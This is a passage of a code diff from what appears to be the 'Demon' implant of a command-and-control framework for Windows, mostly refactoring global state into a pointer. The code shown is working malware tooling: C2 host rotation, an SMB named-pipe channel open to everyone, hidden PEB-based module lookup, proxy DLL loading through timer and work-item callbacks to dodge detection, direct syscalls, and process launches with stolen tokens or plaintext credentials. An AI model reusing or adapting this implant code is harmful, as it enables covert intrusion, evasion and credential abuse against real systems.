* then return the top host from our linked list. */
|
||||
if ( ! Instance.Config.Transport.Host )
|
||||
if ( ! Instance->Config.Transport.Host )
|
||||
return Host;
|
||||
|
||||
for ( Count = 0; Count < HostCount(); )
|
||||
@@ -470,12 +484,12 @@ PHOST_DATA HostRotation( SHORT Strategy )
|
||||
|
||||
/* if we specified infinite retries then reset every "Failed" retries in our linked list and do this forever...
|
||||
* as the operator wants. */
|
||||
if ( ( Instance.Config.Transport.HostMaxRetries == 0 ) && ! Host )
|
||||
if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host )
|
||||
{
|
||||
PUTS_DONT_SEND( "Specified to keep going. To infinity... and beyond" )
|
||||
|
||||
/* get linked list */
|
||||
Host = Instance.Config.Transport.Hosts;
|
||||
Host = Instance->Config.Transport.Hosts;
|
||||
|
||||
/* iterate over linked list */
|
||||
for ( ;; )
|
||||
@@ -491,7 +505,7 @@ PHOST_DATA HostRotation( SHORT Strategy )
|
||||
}
|
||||
|
||||
/* tell the caller to start at the beginning */
|
||||
Host = Instance.Config.Transport.Hosts;
|
||||
Host = Instance->Config.Transport.Hosts;
|
||||
}
|
||||
|
||||
return Host;
|
||||
@@ -503,7 +517,7 @@ DWORD HostCount()
|
||||
PHOST_DATA Head = NULL;
|
||||
DWORD Count = 0;
|
||||
|
||||
Head = Instance.Config.Transport.Hosts;
|
||||
Head = Instance->Config.Transport.Hosts;
|
||||
Host = Head;
|
||||
|
||||
do {
|
||||
@@ -531,7 +545,7 @@ BOOL HostCheckup()
|
||||
DWORD Count = 0;
|
||||
BOOL Alive = TRUE;
|
||||
|
||||
Head = Instance.Config.Transport.Hosts;
|
||||
Head = Instance->Config.Transport.Hosts;
|
||||
Host = Head;
|
||||
|
||||
do {
|
||||
+39
-39
@@ -1,13 +1,13 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/TransportSmb.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/TransportSmb.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
|
||||
BOOL SmbSend( PBUFFER Send )
|
||||
{
|
||||
if ( ! Instance.Config.Transport.Handle )
|
||||
if ( ! Instance->Config.Transport.Handle )
|
||||
{
|
||||
SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 };
|
||||
SECURITY_ATTRIBUTES SecurityAttr = { 0 };
|
||||
@@ -15,7 +15,7 @@ BOOL SmbSend( PBUFFER Send )
|
||||
/* Setup attributes to allow "anyone" to connect to our pipe */
|
||||
SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr );
|
||||
|
||||
Instance.Config.Transport.Handle = Instance.Win32.CreateNamedPipeW( Instance.Config.Transport.Name, // Named Pipe
|
||||
Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name, // Named Pipe
|
||||
PIPE_ACCESS_DUPLEX, // read/write access
|
||||
PIPE_TYPE_MESSAGE | // message type pipe
|
||||
PIPE_READMODE_MESSAGE | // message-read mode
|
||||
@@ -28,33 +28,33 @@ BOOL SmbSend( PBUFFER Send )
|
||||
|
||||
SmbSecurityAttrFree( &SmbSecAttr );
|
||||
|
||||
if ( ! Instance.Config.Transport.Handle )
|
||||
if ( ! Instance->Config.Transport.Handle )
|
||||
return FALSE;
|
||||
|
||||
if ( ! Instance.Win32.ConnectNamedPipe( Instance.Config.Transport.Handle, NULL ) )
|
||||
if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) )
|
||||
{
|
||||
SysNtClose( Instance.Config.Transport.Handle );
|
||||
SysNtClose( Instance->Config.Transport.Handle );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Send the message/package we want to send to the new client... */
|
||||
return PipeWrite( Instance.Config.Transport.Handle, Send );
|
||||
return PipeWrite( Instance->Config.Transport.Handle, Send );
|
||||
}
|
||||
|
||||
if ( ! PipeWrite( Instance.Config.Transport.Handle, Send ) )
|
||||
if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) )
|
||||
{
|
||||
PRINTF( "WriteFile Failed:[%d]\n", NtGetLastError() );
|
||||
|
||||
/* Means that the client disconnected/the pipe is closing. */
|
||||
if ( NtGetLastError() == ERROR_NO_DATA )
|
||||
{
|
||||
if ( Instance.Config.Transport.Handle )
|
||||
if ( Instance->Config.Transport.Handle )
|
||||
{
|
||||
SysNtClose( Instance.Config.Transport.Handle );
|
||||
Instance.Config.Transport.Handle = NULL;
|
||||
SysNtClose( Instance->Config.Transport.Handle );
|
||||
Instance->Config.Transport.Handle = NULL;
|
||||
}
|
||||
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
@@ -68,51 +68,51 @@ BOOL SmbRecv( PBUFFER Resp )
|
||||
DWORD DemonId = 0;
|
||||
DWORD PackageSize = 0;
|
||||
|
||||
if ( Instance.Win32.PeekNamedPipe( Instance.Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) )
|
||||
if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) )
|
||||
{
|
||||
if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) )
|
||||
{
|
||||
if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
|
||||
if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
|
||||
{
|
||||
PRINTF( "Failed to read the DemonId from pipe, error: %d\n", NtGetLastError() )
|
||||
Resp->Buffer = NULL;
|
||||
Resp->Length = 0;
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( Instance.Session.AgentID != DemonId )
|
||||
if ( Instance->Session.AgentID != DemonId )
|
||||
{
|
||||
PRINTF( "The message doesn't have the correct DemonId: %x\n", DemonId )
|
||||
Resp->Buffer = NULL;
|
||||
Resp->Length = 0;
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
|
||||
if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA )
|
||||
{
|
||||
PRINTF( "Failed to read the PackageSize from pipe, error: %d\n", NtGetLastError() )
|
||||
Resp->Buffer = NULL;
|
||||
Resp->Length = 0;
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Resp->Buffer = Instance.Win32.LocalAlloc( LPTR, PackageSize );
|
||||
Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize );
|
||||
Resp->Length = PackageSize;
|
||||
|
||||
if ( ! PipeRead( Instance.Config.Transport.Handle, Resp ) )
|
||||
if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) )
|
||||
{
|
||||
PRINTF( "PipeRead failed with to read 0x%x bytes from pipe\n", Resp->Length )
|
||||
if ( Resp->Buffer )
|
||||
{
|
||||
Instance.Win32.LocalFree( Resp->Buffer );
|
||||
Instance->Win32.LocalFree( Resp->Buffer );
|
||||
Resp->Buffer = NULL;
|
||||
}
|
||||
|
||||
Resp->Length = 0;
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
//PRINTF("successfully read 0x%x bytes from pipe\n", PackageSize)
|
||||
@@ -130,7 +130,7 @@ BOOL SmbRecv( PBUFFER Resp )
|
||||
{
|
||||
/* We disconnected */
|
||||
PRINTF( "PeekNamedPipe failed with %d\n", NtGetLastError() )
|
||||
Instance.Session.Connected = FALSE;
|
||||
Instance->Session.Connected = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -150,7 +150,7 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se
|
||||
MemSet( SmbSecAttr, 0, sizeof( SMB_PIPE_SEC_ATTR ) );
|
||||
MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) );
|
||||
|
||||
if ( ! Instance.Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) )
|
||||
if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) )
|
||||
{
|
||||
PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() );
|
||||
return;
|
||||
@@ -164,43 +164,43 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se
|
||||
ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
||||
ExplicitAccess.Trustee.ptstrName = SmbSecAttr->Sid;
|
||||
|
||||
Result = Instance.Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl );
|
||||
Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl );
|
||||
if ( Result != ERROR_SUCCESS )
|
||||
{
|
||||
PRINTF( "SetEntriesInAclW failed: %u\n", Result );
|
||||
}
|
||||
PRINTF( "DACL: %p\n", DAcl );
|
||||
|
||||
if ( ! Instance.Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) )
|
||||
if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) )
|
||||
{
|
||||
PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow );
|
||||
|
||||
SmbSecAttr->SAcl = NtHeapAlloc( MAX_PATH );
|
||||
if ( ! Instance.Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) )
|
||||
SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH );
|
||||
if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) )
|
||||
{
|
||||
PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) )
|
||||
if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) )
|
||||
{
|
||||
PRINTF( "AddMandatoryAce failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
|
||||
// now build the descriptor
|
||||
SmbSecAttr->SecDec = NtHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH );
|
||||
if ( ! Instance.Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) )
|
||||
SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH );
|
||||
if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) )
|
||||
{
|
||||
PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) )
|
||||
if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) )
|
||||
{
|
||||
PRINTF( "SetSecurityDescriptorDacl failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) )
|
||||
if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) )
|
||||
{
|
||||
PRINTF( "SetSecurityDescriptorSacl failed: %u\n", NtGetLastError() );
|
||||
}
|
||||
@@ -214,25 +214,25 @@ VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr )
|
||||
{
|
||||
if ( SmbSecAttr->Sid )
|
||||
{
|
||||
Instance.Win32.FreeSid( SmbSecAttr->Sid );
|
||||
Instance->Win32.FreeSid( SmbSecAttr->Sid );
|
||||
SmbSecAttr->Sid = NULL;
|
||||
}
|
||||
|
||||
if ( SmbSecAttr->SidLow )
|
||||
{
|
||||
Instance.Win32.FreeSid( SmbSecAttr->SidLow );
|
||||
Instance->Win32.FreeSid( SmbSecAttr->SidLow );
|
||||
SmbSecAttr->SidLow = NULL;
|
||||
}
|
||||
|
||||
if ( SmbSecAttr->SAcl )
|
||||
{
|
||||
NtHeapFree( SmbSecAttr->SAcl );
|
||||
MmHeapFree( SmbSecAttr->SAcl );
|
||||
SmbSecAttr->SAcl = NULL;
|
||||
}
|
||||
|
||||
if ( SmbSecAttr->SecDec )
|
||||
{
|
||||
NtHeapFree( SmbSecAttr->SecDec );
|
||||
MmHeapFree( SmbSecAttr->SecDec );
|
||||
SmbSecAttr->SecDec = NULL;
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/Syscalls.h>
|
||||
#include <Common/Macros.h>
|
||||
#include <Common/Native.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/Syscalls.h>
|
||||
#include <common/Macros.h>
|
||||
#include <common/Native.h>
|
||||
|
||||
/*!
|
||||
* Extended String Hasher
|
||||
@@ -71,11 +71,11 @@ PVOID LdrModulePeb(
|
||||
PPEB Peb = NULL;
|
||||
|
||||
/* Get pointer to list */
|
||||
if ( ! Instance.Teb ) {
|
||||
Instance.Teb = NtCurrentTeb();
|
||||
if ( ! Instance->Teb ) {
|
||||
Instance->Teb = NtCurrentTeb();
|
||||
}
|
||||
|
||||
Peb = Instance.Teb->ProcessEnvironmentBlock;
|
||||
Peb = Instance->Teb->ProcessEnvironmentBlock;
|
||||
Hdr = & Peb->Ldr->InLoadOrderModuleList;
|
||||
Ent = Hdr->Flink;
|
||||
|
||||
@@ -107,13 +107,13 @@ PVOID LdrModulePebByString(
|
||||
ULONG Idx = 0;
|
||||
|
||||
/* Get pointer to list */
|
||||
if ( ! Instance.Teb ) {
|
||||
Instance.Teb = NtCurrentTeb();
|
||||
if ( ! Instance->Teb ) {
|
||||
Instance->Teb = NtCurrentTeb();
|
||||
}
|
||||
|
||||
Name = NtHeapAlloc( MAX_PATH );
|
||||
Name = MmHeapAlloc( MAX_PATH );
|
||||
|
||||
Peb = Instance.Teb->ProcessEnvironmentBlock;
|
||||
Peb = Instance->Teb->ProcessEnvironmentBlock;
|
||||
Hdr = & Peb->Ldr->InLoadOrderModuleList;
|
||||
Ent = Hdr->Flink;
|
||||
|
||||
@@ -149,7 +149,7 @@ PVOID LdrModulePebByString(
|
||||
|
||||
if ( Name ) {
|
||||
MemZero( Name, MAX_PATH );
|
||||
NtHeapFree( Name );
|
||||
MmHeapFree( Name );
|
||||
Name = NULL;
|
||||
}
|
||||
|
||||
@@ -176,8 +176,8 @@ PVOID LdrModuleSearch(
|
||||
Dll[ 2 ] = HideChar( 'L' );
|
||||
Dll[ 0 ] = HideChar( '.' );
|
||||
|
||||
Entry = Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
|
||||
FirstEntry = &Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
|
||||
Entry = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
|
||||
FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;
|
||||
|
||||
StringCopyW( Name, ModuleName );
|
||||
|
||||
@@ -244,10 +244,10 @@ PVOID LdrModuleLoad(
|
||||
}
|
||||
|
||||
/* if proxy module loading is enabled */
|
||||
if ( Instance.Config.Implant.ProxyLoading )
|
||||
if ( Instance->Config.Implant.ProxyLoading )
|
||||
{
|
||||
/* load library using RtlRegisterWait + LoadLibraryW */
|
||||
if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance.Win32.RtlRegisterWait )
|
||||
if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait )
|
||||
{
|
||||
PUTS( "Loading module using RtlRegisterWait" )
|
||||
|
||||
@@ -257,36 +257,36 @@ PVOID LdrModuleLoad(
|
||||
}
|
||||
|
||||
/* call LoadLibraryW */
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
|
||||
PRINTF( "RtlRegisterWait: %p\n", NtStatus )
|
||||
goto DEFAULT;
|
||||
}
|
||||
}
|
||||
|
||||
/* load library using RtlCreateTimer + LoadLibraryW */
|
||||
else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance.Win32.RtlCreateTimer )
|
||||
else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer )
|
||||
{
|
||||
PUTS( "Loading module using RtlCreateTimer" )
|
||||
|
||||
/* create timer queue */
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) {
|
||||
PRINTF( "RtlCreateTimerQueue Failed => %p\n", NtStatus )
|
||||
goto DEFAULT;
|
||||
}
|
||||
|
||||
/* call LoadLibraryW */
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
|
||||
PRINTF( "RtlCreateTimer: %p\n", NtStatus )
|
||||
goto DEFAULT;
|
||||
}
|
||||
}
|
||||
/* load library using RtlQueueWorkItem + LoadLibraryW */
|
||||
else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance.Win32.RtlQueueWorkItem )
|
||||
else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem )
|
||||
{
|
||||
PUTS( "Loading module using RtlQueueWorkItem" )
|
||||
|
||||
/* call LoadLibraryW and load specified module */
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlQueueWorkItem( C_PTR( Instance.Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) {
|
||||
PRINTF( "RtlQueueWorkItem Failed: %p\n", NtStatus )
|
||||
|
||||
/* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then
|
||||
@@ -330,7 +330,7 @@ PVOID LdrModuleLoad(
|
||||
{
|
||||
DEFAULT:
|
||||
/* load library using LdrLoadDll */
|
||||
if ( Instance.Win32.LdrLoadDll )
|
||||
if ( Instance->Win32.LdrLoadDll )
|
||||
{
|
||||
PUTS( "Loading module using LdrLoadDll" )
|
||||
|
||||
@@ -339,7 +339,7 @@ PVOID LdrModuleLoad(
|
||||
UnicodeString.Length = DestSize;
|
||||
UnicodeString.MaximumLength = DestSize + sizeof( WCHAR );
|
||||
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) {
|
||||
PRINTF( "LdrLoadDll Failed: %p\n", NtStatus )
|
||||
NtSetLastError( NtStatus );
|
||||
}
|
||||
@@ -361,7 +361,7 @@ END:
|
||||
|
||||
/* close queue */
|
||||
if ( Queue ) {
|
||||
Instance.Win32.RtlDeleteTimerQueue( Queue );
|
||||
Instance->Win32.RtlDeleteTimerQueue( Queue );
|
||||
Queue = NULL;
|
||||
}
|
||||
|
||||
@@ -414,8 +414,8 @@ PVOID LdrFunctionAddr(
|
||||
AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );
|
||||
AnsiString.Buffer = FunctionName;
|
||||
|
||||
if ( Instance.Win32.LdrGetProcedureAddress ) {
|
||||
if ( ! NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) {
|
||||
if ( Instance->Win32.LdrGetProcedureAddress ) {
|
||||
if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) {
|
||||
return NULL;
|
||||
}
|
||||
} else {
|
||||
@@ -440,7 +440,7 @@ PVOID LdrFunctionAddr(
|
||||
UINT32 GetSyscallSize(
|
||||
VOID
|
||||
) {
|
||||
PVOID Module = Instance.Modules.Ntdll;
|
||||
PVOID Module = Instance->Modules.Ntdll;
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 };
|
||||
SIZE_T ExpDirectorySize = { 0 };
|
||||
@@ -458,8 +458,8 @@ UINT32 GetSyscallSize(
|
||||
if ( ! Module )
|
||||
return 0;
|
||||
|
||||
if ( Instance.Syscall.Size )
|
||||
return Instance.Syscall.Size;
|
||||
if ( Instance->Syscall.Size )
|
||||
return Instance->Syscall.Size;
|
||||
|
||||
NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );
|
||||
ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
|
||||
@@ -501,9 +501,9 @@ UINT32 GetSyscallSize(
|
||||
}
|
||||
|
||||
// by now, we should have the size of a syscall stub
|
||||
Instance.Syscall.Size = SyscallSize;
|
||||
Instance->Syscall.Size = SyscallSize;
|
||||
|
||||
return Instance.Syscall.Size;
|
||||
return Instance->Syscall.Size;
|
||||
}
|
||||
|
||||
/*!
|
||||
@@ -529,7 +529,7 @@ HANDLE ProcessOpen(
|
||||
/* open process handle */
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) {
|
||||
PRINTF( "NtOpenProcess Failed => %lx\n", NtStatus )
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -551,7 +551,7 @@ BOOL ProcessIsWow(
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
|
||||
if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -604,7 +604,7 @@ BOOL ProcessCreate(
|
||||
if ( Piped )
|
||||
{
|
||||
PUTS( "Piped enabled" )
|
||||
AnonPipe = Instance.Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) );
|
||||
AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) );
|
||||
MemSet( AnonPipe, 0, sizeof( ANONPIPE ) );
|
||||
AnonPipesInit( AnonPipe );
|
||||
|
||||
@@ -621,10 +621,10 @@ BOOL ProcessCreate(
|
||||
}
|
||||
|
||||
#if _M_IX86
|
||||
if ( ! x86 && Instance.Win32.Wow64DisableWow64FsRedirection )
|
||||
if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection )
|
||||
{
|
||||
PUTS( "Enable Wow64 process support" )
|
||||
if ( ! Instance.Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) )
|
||||
if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) )
|
||||
{
|
||||
PRINTF( "Failed to disable wow64 redirection: %d : %x\n", NtGetLastError(), Wow64Value )
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
|
||||
@@ -636,14 +636,14 @@ BOOL ProcessCreate(
|
||||
}
|
||||
#endif
|
||||
|
||||
if ( Instance.Tokens.Impersonate )
|
||||
if ( Instance->Tokens.Impersonate )
|
||||
{
|
||||
PUTS( "Impersonate" )
|
||||
|
||||
LPWSTR lpCurrentDirectory = NULL;
|
||||
WCHAR Path[ MAX_PATH * 2 ] = { 0 };
|
||||
|
||||
if ( Instance.Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) {
|
||||
if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) {
|
||||
lpCurrentDirectory = Path;
|
||||
}
|
||||
|
||||
@@ -654,12 +654,12 @@ BOOL ProcessCreate(
|
||||
PRINTF( "CmdLine : %ls\n", CmdLine )
|
||||
PRINTF( "lpCurrentDirectory: %ls\n", lpCurrentDirectory )
|
||||
|
||||
if ( Instance.Tokens.Token->Type == TOKEN_TYPE_STOLEN )
|
||||
if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN )
|
||||
{
|
||||
// Duplicate to make primary token (try delegation first)
|
||||
if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) )
|
||||
if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) )
|
||||
{
|
||||
if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) )
|
||||
if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) )
|
||||
{
|
||||
PRINTF( "Failed to duplicate token [%d]\n", NtGetLastError() );
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
|
||||
@@ -669,7 +669,7 @@ BOOL ProcessCreate(
|
||||
}
|
||||
|
||||
PUTS( "CreateProcessWithTokenW" )
|
||||
if ( ! Instance.Win32.CreateProcessWithTokenW(
|
||||
if ( ! Instance->Win32.CreateProcessWithTokenW(
|
||||
PrimaryToken,
|
||||
LOGON_NETCREDENTIALS_ONLY,
|
||||
App,
|
||||
@@ -688,14 +688,14 @@ BOOL ProcessCreate(
|
||||
goto Cleanup;
|
||||
}
|
||||
}
|
||||
else if ( Instance.Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK )
|
||||
else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK )
|
||||
{
|
||||
PUTS( "CreateProcessWithLogonW" )
|
||||
PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance.Tokens.Token->lpUser, Instance.Tokens.Token->lpDomain, Instance.Tokens.Token->lpPassword )
|
||||
if ( ! Instance.Win32.CreateProcessWithLogonW(
|
||||
Instance.Tokens.Token->lpUser,
|
||||
Instance.Tokens.Token->lpDomain,
|
||||
Instance.Tokens.Token->lpPassword,
|
||||
PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword )
|
||||
if ( ! Instance->Win32.CreateProcessWithLogonW(
|
||||
Instance->Tokens.Token->lpUser,
|
||||
Instance->Tokens.Token->lpDomain,
|
||||
Instance->Tokens.Token->lpPassword,
|
||||
LOGON_NETCREDENTIALS_ONLY,
|
||||
App,
|
||||
